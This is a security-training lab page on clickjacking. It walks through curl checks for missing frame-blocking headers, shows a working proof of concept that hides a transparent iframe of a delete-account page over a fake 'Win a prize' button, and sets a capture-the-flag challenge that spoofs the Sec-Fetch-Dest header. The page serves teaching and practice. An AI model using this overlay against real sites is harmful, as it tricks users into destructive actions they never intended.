Clickjacking
A site has a "delete account" button on a sensitive page. The page can be framed by another site. So a malicious site can put an invisible iframe over a friendly-looking button. The user thinks they are clicking "Win a prize." They are clicking "Delete account."
The rule: the site at /api/18/danger is supposed to be frameable only by Hunterlian itself. It isn't. Your job is to prove that any site can frame it — by checking what headers the endpoint returns and where it fails.
Test
Copy these. Run them. Read what comes back.
Step 1 · Look at the security headers
Frames are blocked by two headers: X-Frame-Options and Content-Security-Policy: frame-ancestors. A page that returns neither can be framed by anyone.
curl -s -I "{LAB_API_BASE}/api/18/danger" | head -15What you'll see:
HTTP/1.1 200 OK Content-Type: text/html Content-Length: 1234 (no X-Frame-Options) (no Content-Security-Policy)
No X-Frame-Options. No Content-Security-Policy frame restriction. That means any site can embed this page in an <iframe>.
Step 2 · Look at what the page does
The page has a button that says Delete my account. It calls a destructive endpoint when clicked.
curl -s "{LAB_API_BASE}/api/18/danger" | grep -o 'action="[^"]*"'What you'll see:
action="/api/18/danger/delete"
The page is a real HTML page with a real form. Framed by an attacker's site, it would still work — the button would still submit the delete request.
Step 3 · The attack
An attacker's page renders the endpoint in a transparent iframe, positioned over a fake "Win a prize" button. The user sees only the prize. They click. The iframe receives the click. The button submits. Account deleted.
<style>
iframe { position: absolute; top: 0; left: 0;
width: 100%; height: 100%; opacity: 0.01; z-index: 2; }
.prize { position: absolute; top: 40%; left: 40%;
z-index: 1; }
</style>
<button class="prize">Win a prize!</button>
<iframe src="https://hunterlian.lab/api/18/danger"></iframe>The attacker's button is visible. The Hunterlian page is invisible, sitting on top. The user clicks the prize — the click actually goes to the invisible Hunterlian button. That is clickjacking.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
The clickjacking surface has one more endpoint that returns the flag — but only when it detects that the request comes from a page that is being framed. It checks the Sec-Fetch-Dest header. When a page is loaded inside an iframe, that header is iframe. When loaded top-level, it is document.
Fetch /api/18/danger/flag with the header Sec-Fetch-Dest: iframe. The flag is in the response.
Solved.
You proved a Hunterlian page can be framed by any site. Read why it happened and how to prevent it — in Lesson 18.
Read Lesson 18 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 18 — Clickjacking
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →